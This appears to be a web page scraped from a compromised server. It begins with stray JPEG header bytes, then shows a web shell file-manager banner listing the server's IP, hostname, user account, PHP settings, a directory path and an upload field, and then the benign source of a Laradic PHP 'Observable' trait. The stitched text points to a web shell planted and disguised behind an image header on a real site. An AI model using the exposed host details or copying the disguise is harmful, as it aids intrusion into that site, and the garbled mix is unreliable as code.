ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/domains/bellizeno.com/public_html/vendor/laradic/support/src/Traits/ |
Upload File : |
<?php
/**
* Part of the Laradic PHP packages.
*
* License and copyright information bundled with this package in the LICENSE file
*/
namespace Laradic\Support\Traits;
trait Observable
{
use StaticEventTrait;
protected $observables = [ ];
protected static function getEventNamespace()
{
return property_exists(static::class, 'eventNamespace') ? static::$eventNamespace : get_called_class();
}
/**
* Remove all of the event listeners for the model.
*
* @return void
*/
public static function flushEventListeners()
{
if (!isset(static::$dispatcher)) {
return;
}
$instance = new static;
$namespace = static::getEventNamespace();
foreach ($instance->getObservableEvents() as $event) {
static::$dispatcher->forget("{$namespace}.{$event}: " . get_called_class());
}
}
/**
* Register a model event with the dispatcher.
*
* @param string $event
* @param \Closure|string $callback
* @param int $priority
*
* @return void
*/
protected static function registerEvent($event, $callback, $priority = 0)
{
if (!isset(static::$dispatcher)) {
static::initEventDispatcher();
}
$name = get_called_class();
$namespace = static::getEventNamespace();
static::$dispatcher->listen("{$namespace}.{$event}: {$name}", $callback, $priority);
}
/**
* Get the observable event names.
*
* @return array
*/
public function getObservableEvents()
{
return $this->observables;
}
/**
* Set the observable event names.
*
* @param array $observables
*
* @return $this
*/
public function setObservableEvents(array $observables)
{
$this->observables = $observables;
return $this;
}
/**
* Add an observable event name.
*
* @param array|mixed $observables
*
* @return void
*/
public function addObservableEvents($observables)
{
$observables = is_array($observables) ? $observables : func_get_args();
$this->observables = array_unique(array_merge($this->observables, $observables));
}
/**
* Remove an observable event name.
*
* @param array|mixed $observables
*
* @return void
*/
public function removeObservableEvents($observables)
{
$observables = is_array($observables) ? $observables : func_get_args();
$this->observables = array_diff($this->observables, $observables);
}
}